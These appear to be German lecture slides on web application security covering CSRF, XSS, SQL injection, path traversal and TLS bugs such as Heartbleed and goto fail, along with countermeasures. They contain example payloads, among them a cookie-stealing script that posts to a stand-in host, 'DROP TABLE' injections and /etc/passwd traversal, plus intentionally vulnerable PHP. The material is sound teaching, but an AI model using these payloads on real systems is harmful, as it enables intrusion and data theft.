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Die WWWWelt ist Interaktiv

Web-Server

Beispiel: Bankapplikation benötigt:

Login/Authentisierung (Netzwerk-Sicherheit, Passwortverwaltung,…);

Spezifische Daten (dynamische HTML-Seiten, Datenbankanbindung,…);

Interaktion (Cookies, Sessions, Forms…);

„User experience“ (Java, Flash,…)

Client

→ sehr viele Daten auch vom Client an den Server
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Web-Server
Client

Angriffspunkte

Back-End

Angriffe auf Client-Seite

Cross-Site Request Forgery

Cross-Site Scripting

Angriffe auf Server-Seite

SQL injection

Path traversal

Angriffe auf Netzwerk-Kommunikation
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OWASP Top 10 Vulnerabilities
2017

OWASP = Open Web Application Security Project (www.owasp.org)

Injection

Broken Authentication

Sensitive Data Exposure

XML External Entites (XEE)

Broken Access Control

Security Misconfiguration

Cross-Site Scripting (XSS)

Insecure Deserialisaton

Using Components with Known Vulnerabilities

Insufficient Logging & Monitoring

1

2

3

4

5

6

7

8

9

10

Cross-Site Request Forgery (CSRF)

http://www.owasp.org/
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Beispiel: Path Traversal

www.server.com/../../etc/passwd

www.server.com

www.server.com/show-page?page=../../etc/passwd

oder 

per übergebenem Parameter:

/

/var

/var/www

/etc

/etc/passwd

/var/www/index.htmlStartseite für www.server.com auf Datei-System

www.server.com
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Beispiel: Path Traversal

www.server.com

mögliche Gegenmaßnahmen:

Input Validation;

wichtige Daten nicht durch Server erreichbar;

Firewalls;

…

Vorsicht bei „Input Validation“:  
../   %2e%2e%2f   %2e%2e/   ..%2f   sind beispielsweise alle äquivalent!

www.server.com/../../etc/passwd

www.server.com/show-page?page=../../etc/passwd

oder 

per übergebenem Parameter:
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Cookies

und Cross-Site Request Forgery
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Cookie-Konzept

setze Cookie: name=…

Web-Server

Client

speichert  Cookie in

lokaler Text-Datei: 
name=…

value=…

attributes

Session #1

sende Cookie: name=…

Session #2



 

erlaubt beispielsweise Wiederanmeldung

ohne erneute Passworteingabe

persistenter Cookie:

bleibt über Session hinweg erhalten

(im Unterschied zu Session Cookie)
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Beispiel Gmail-Cookie zum Wiedererkennen ohne Einloggen

Name

Inhalt

Attribute:

nur Host darf auslesen

und nur unter diesem Pfad

secure: nur per HTTPS 

Gültigkeitsdauer

UDF7588jdgZhd548dsd-fdhfjBq8rfjjs56GhdJuA9lsL6Dfe45 

Mittwoch, 22.Februar 2017 11:48:43
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Cookies sind Gold wert

Authentisierungs-
Cookie

sende Cookie

unverschlüsselte

Übertragung

Trojaner auf

Rechner erhält Zugriff auf Daten

des Anwenders

CSRF, XSS

CSRF = Cross-Site Request Forgery

XSS = Cross-Site Scripting
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<html>

<body>

…Eves Homepage…

<img src="https://www.server.de/UpdateMail?address=eve@mail.de" 

width="0" height="0" />

</body>

</html>

Cross-Site Request Forgery

hat Authentisierungs-

Cookie von
www.server.de

 User ist bereits angemeldet

www.server.de

 User browst auf
Seite von Eve

 aktualisiert E-Mail-Adresse 
des Users zu eve@mail.de

eingebettetes, unsichtbares Bild, 
das UpdateMail für 

angemeldeten Anwender auf 
www.server.de ausführt

(alias Confused Deputy Attack)
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CSRF-Angriffe

mögliche Gegenmaßnahmen:

hänge bei Requests zufällige CSRF-Session-Token-Nummer an Parameter an;

verlange erneute Authentisierung bei wichtigen Aktionen;

Anwender öfter abmelden

http://tools.cisco.com, 7.Dezember 2016

weitere Angriffe 

(meist  2008 

oder früher):

Netflix

NY Times

GMail

ING direct

YouTube

…
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Angenommen, der Anwender schließt alle anderen Tabs,

während er eine Session aufrecht erhält. 

Schützt das vor CSRF-Angriffen?

Nennen Sie 5 der Top-Ten-Web-Angriffe von OWASP.

Erklären Sie das Prinzip der CSRF-Angriffe.
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Cross-Site Scripting (XSS)
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Prinzip von XSS-Angriffen

Web Server

injiziert schädlichen Parameter

in Webseite

eventuell Information,

z.B. Cookie des Users

<script> … </script>

cross-site:

seitenübergreifend

Usernameschädlicher Parameter statt erwarteter Eingabe

üblicherweise ausführbarer (Java-)Script-Code
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alert und andere Dinge

XSS                   

Beispiele hier erzeugen zur Vereinfachung 
immer  alert-Fenster:

anderer Code möglich, z.B. Cookie Stealing:

<script>alert(‘XSS‘);</script>

<script>new Image().src=“https://www.eve.org/cookie.php?“

+document.cookie;</script>

oder auch Umleitung auf falsche Login-Seite, um Passwörter zu stehlen,

oder Umleitung auf Seite mit Malware,…
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Arten von XSS-Angriffen reflected (non-persistent) XSS

Anfrage mit

schädlichem 

Parameter

Anfrage mit

schädlichem 

Parameter

verändert Daten

dauerhaft

liefert dauerhaft

schädliche HTML-Seite aus

persistent XSS

HTML-Seite

schädliche lokale

Umgebung (DOM)

DOM XSS

liefert schädliche

HTML-Seite aus
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DOM XSS: Grundlagen

HTML-Seite

schädliche lokale

Umgebung (DOM)

Document Object Model (DOM):

erlaubt Javascript

(unter anderen Sprachen)

Zugriff auf HTML-Daten

<script> 

… 

document.getElementById(“docpart“); 

…

</script>

aktualisiert HTML-Seite lokal beim Client

→ erschwert erkennen/verhindern dieses Angriffs auf Server-Seite

Beispiel:
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DOM XSS: Beispiel

<html>

…

This is the content of a local web site of

<script>

<!-- Get position of display= in URL and write parameter to HTML doc -->

var pos=document.URL.indexOf("display=")+8;

document.write(document.URL.substring(pos,document.URL.length));

</script>

</html>

Aufruf über URL 
…?display=MeinName

Aufruf über URL
…?display=<script>alert(`XSS`);</script>

XSS                   

This is the content of a

local web site of MeinName
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Reflected XSS-Angriff reflected (non-persistent) XSS

Anfrage mit

schädlichem 

Parameter

liefert schädliche

HTML-Seite aus

funktioniert analog, 

nur dass der Parameter beim Server

in die HTML-Seite des Clients eingefügt wird
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Persistent XSS-Angriff

Anfrage mit

schädlichem 

Parameter

verändert Daten

dauerhaft

liefert dauerhaft

schädliche HTML-Seite aus

persistent XSS

Beispiel beruht auf PHP (PHP: Hypertext Preprocessor)

PHP erstellt lokal auf dem Server dynamische HTML-Seiten

mehr als 80% aller Webseiten heutzutage verwenden PHP (Stand Januar 2017)
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Persistentes XSS: Beispiel

<html>

…

Leave a message:</br>

<form method="POST">

<input type="text" name="msg"></br>

<input type="submit" name="submit">

</form>

<!-- If button then store message in file msg.txt -->

<?php

if (isset($_POST['submit'])) {

$filename = 'msg.txt';

$content = $_POST['msg'];

file_put_contents($filename, $content);

}

?> 

<p>

<!-- Read last message in file msg.txt -->

<?php

$filename = 'msg.txt';

if (file_exists($filename)) {

echo "Last message:</br>";

$content = file_get_contents($filename);

echo $content;

}

?>

…

</html>

Einfaches Kommentar-Forum

Form, um neue 

Nachricht zu speichern

PHP speichert Text in lokaler

Datei, wenn Button gedrückt

PHP liest gespeicherte 

Nachricht (falls existiert)
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Eingabe 
<script>alert(‘XSS‘);</script>

Eingabe 
Normaler Text

erscheint auch 

unter anderem 

Browser, 

da persistent
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XSS-Angriffe (Folie aus dem WS 16/17)

www.wordpress.org, 11.Januar 2017

…
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mögliche Gegenmaßnahmen:

Input validation;

Code „escapen“;

HttpOnly-Cookies

XSS-Angriffe

www.wordpress.org, 16.Januar 2018

…

HttpOnly-Cookies 

verhindern Auslesen

von Cookies durch

Skripte, eine der häufigsten 

XSS-Angriffsmethoden
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Welche Art der XSS-Angriffe ist am 

Schwierigsten zu verhindern?

Nennen Sie die drei Arten von XSS-Angriffen.

Was ist der Unterschied zwischen einem

persistenten und einem nicht-persistenten XSS-Angriff?
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SQL-Injection
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SQL-basierte HTML-Seiten

RandomID Username Passwort

1598434721 Alice 123456

2064610222 Bob 6d+))sds#A

1934350364 root HorseJumpsBall

…php?id=2064610222

Anbindung an SQL-Datenbank,

z.B. per PHP Data Objects (PDO)

SQL-Datenbank

SQL-Abfrage

„baue“ HTML-

Seite zusammen

oder im Cookie 

übergeben
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Hintergrund zu SQL

<html>

…

<?php

$pdo = new PDO('mysql:host=localhost;dbname=sqlinj', 'root', '');

if(isset($_GET['id'])) {

$id = $_GET['id'];

} else { 

$id=0; 

}

$sql = "SELECT * FROM Accounts WHERE RandomID=$id";

foreach ($pdo->query($sql) as $row) {

echo "Username=".$row['Username'].",PW=".$row['Passwort']."</br>";

}

?>

…

</html>

erwartet Übergabe der zufälligen
RandomID als Parameter ?id=…

Wähle alle Spalteneinträge * der Reihen der Tabelle Accounts

aus, bei denen RandomID mit Parameter id übereinstimmt

SQL-Datenbank sqlinj

hat Tabelle Accounts und dort Spalten

RandomID, Username, E-Mail, Passwort

lege PDO-Verweis für sqlinj an

Gib für alle ausgewählten Reihen Username

und Passwort im HTML-Dokument aus
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Ablauf einer Anfrage

…php?id=2064610222

„baue“ HTML-

Seite zusammen mit

Username=Bob, PW=6d+))sds#A

2064610222 Bob 6d+))sds#A

SELECT *

FROM Accounts

WHERE RandomID=2064610222
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SQL-Injection-Angriff

„baue“ HTML-

Seite zusammen mit

SELECT *

FROM Accounts

WHERE RandomID=5 OR 1=1

…php?id=5 OR 1=1

immer erfüllt

→ ganze Datenbank

1598434721 Alice 123456

2064610222 Bob 6d+))sds#A

1934350364 root HorseJumpsBall

Username=Alice, PW=123456,

Username=Bob, PW=6d+))sds#A, …
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SQL-Injection: Variationen

…?id=5; DROP TABLE Accounts;

…?id=5; INSERT INTO Accounts(…);

…?id=5; UPDATE Accounts SET … WHERE …;

Weitere SQL-Befehle ausführen:

Tabelle löschen

Einträge einfügen

Einträge aktualisieren

Quoting umgehen: SELECT * FROM Accounts WHERE RandomID=`$id`;

…?id=5 OR 1=1 würde nicht mehr funktionieren

…?id=5` OR `1=1

…?id=5`; DROP TABLE Accounts; --

…WHERE RandomID=`5` OR `1=1`;

…WHERE RandomID=`5`; DROP…; --`;

z.B. durch Quoting oder SQL-Kommentar --
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mögliche Gegenmaßnahmen:

Input validation;

(Code „escapen“;)

bound parameters/prepared statements

SQL-Injection-Angriffe

$pdo->prepare("SELECT * FROM Accounts WHERE RandomID=?");

$pdo->execute($id);

Prepared Statements:

Daten werden nicht als Teil des 

Codes betrachtet oder ausgeführt
www.tripwire.com, 27.Oktober 2015
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Was vermuten Sie hinter „Blind“ und „Time-Based“

SQL-Injection-Angriffen?

Beschreiben Sie das Prinzip von SQL-Injection-Angriffen. 
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Verbindungs(un)sicherheit

via SSL/TLS
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HTTPS = HTTP über SSL/TLS

Web-ServerClient

Absicherung wesentlich für Web-Sicherheit

Beispiel: sichere Übertragung von Authentisierungs-Cookies
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Heartbleed

Quelle: Wikipedia

erlaubte Angriff auf OpenSSL-Implementierung

bestand ca. 2 Jahre bevor Entdeckung anno 2014

wurde auch in der Praxis verwendet

heise Security, 14.April 2014
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SSL/TLS-Heartbeat

Heartbeet: reguläre Operation zum Testen der SSL/-TLSVerbindung

 Antwort: test

test

Anfrage

 speichern

eigene SSL-Speicherverwaltung

 64K Bytes kopieren

 bitte den Payload von 64K Bytes zurücksenden: test

64K Bytes
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SSL/TLS-Heartbleed

Heartbeet: reguläre Operation zum Testen der SSL/-TLSVerbindung

 Antwort: test

test

Anfrage

 speichern

eigene SSL-Speicherverwaltung

 64K Bytes kopieren

 bitte den Payload von 64K Bytes zurücksenden: test

64K Bytes

 bitte den Payload von 64K Bytes zurücksenden: test

Passwörter

geheime Schlüssel

 64K Bytes kopieren

 Antwort: test|Passwörter|geheime Schlüssel

falsch programmierte 

Software hat nicht angefragte 

gegen tatsächliche Länge der 

Daten geprüft

64K Bytes

(wird nach Update nun geprüft)
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Apples goto fail;

Update zu Mac OS X 10.9.2 behebt 

Fehler in TLS-Implementierung

bestand ca. 1 Jahr vor Update anno 2014

kein realer Angriff bekannt
Quelle: www.dwheeler.com

heise.de, 25.Februar 2014
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static

OSStatusSSLVerifySignedServerKeyExchange(…)

{

OSStatus err;

…

if ((err = ReadyHash(&SSLHashSHA1, &hashCtx)) != 0)

goto fail;

if ((err = SSLHashSHA1.update(&hashCtx, &clientRandom)) != 0)

goto fail;

if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0) 

goto fail;

if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)

goto fail;

goto fail;

if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)

goto fail;

err = sslRawVerify(…);

…

fail:

SSLFreeBuffer(&signedHashes);

SSLFreeBuffer(&hashCtx);

return err;

}

Dieses goto fail

wird immer ausgeführt: Hashwert 

& Signatur werden nie überprüft, 
so dass err Erfolg signalisiert

(wird nach Update korrekt geprüft)
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ClientHello

ServerHello

ServerCertificate*

ServerKeyExchange*

ClientCertificateRequest*

ServerHelloDone

ClientCertificate*

ClientKeyExchange

CertificateVerify*

[ChangeCipherSpec]

ClientFinishedMessage

Schlüssel

[ChangeCipherSpec]

ServerFinishedMessage

Schlüssel

Erlaubt(e potentiell) Angriff auf TLS

Angreifer fügt in 
ServerKeyExchange*

eigenen DH-Schlüssel

mit beliebiger Unterschrift
in ServerCertificate*

ein

Apple-Client

akzeptiert falsche

Unterschrift

DH-Schlüssel zwischen Client und Angreifer!
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Cookie-Cutter-Angriff

Security & Privacy 2014

Angriff auf TLS-verschlüsselte Übertragung von Cookies

erfolgreich erprobt an Google Accounts

vor der Veröffentlichung gefixt
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HTTP/1.1 302 Redirect

…

Set-Cookie: SID=XYZ; 

secure; httponly;

…SID=XYZ     ; secure…

Client speichert
Cookie ohne secure

und ohne httponly

Cookie-Cutter-Angriff

TLS Handshake

TLS Record Layer

Angreifer versucht, fragmentierte 

Verschlüsselung an der richtigen 

Stelle abzuschneiden

manche Implementierungen 

akzeptierten auch „abge-

schnittene“ Cookie-Daten

→ CSRF, XSS,…
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Missverständliche SSL-APIs
CCS 2012

betroffen: Amazons EC2, Paypal, Chase,…

vor der Veröffentlichung gefixt

falsche 

Anwendung der SSL-APIs 

(z.B. OpenSSL, GnuTLS)

erlaubt es, Zertifikatsprüfung 

zu umgehen
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cURL-Parameter zur Steuerung der Zertifikatsüberprüfung:

CURLOPT_SSL_VERIFYPEER − soll Zertifikat(-skette) geprüft werden?

default: true

CURLOPT_SSL_VERIFYHOST − passt Hostname zum Name in Zertifikat?

default: 2 – prüfe Hostname

(0 – nicht prüfen, 1 – irgendein Name)

cURL-SSL-Beispiel

Anwendung
Amazon Flexible Payments

Service (PHP)

PayPal Payments Standard 

and PayPal Invoicing (PHP)
PayPal IPN in ZenCart

…_VERIFYPEER true false false

…_VERIFYHOST true false 2

Bemerkung
true=1, akzeptiert 

quasi alle Zertifikate

vermutlich zu viele

Fehlermeldungen, 

daher ausgeschaltet

false schaltet auch 

VERIFYHOST aus 

(→0)

inzwischen: VERIFYHOST=1 wird wie =2 behandelt
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Was Sie gelernt haben sollten
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Cross-Site Scripting (XSS)

SQL injection

Angriffspunkte (Client, Server, Netzwerk)

Cookies

Cross-Site Request Forgery (CSRF)

ausgewählte TLS-Probleme (Heartbleed, Cookie Cutter, goto fail, APIs) 


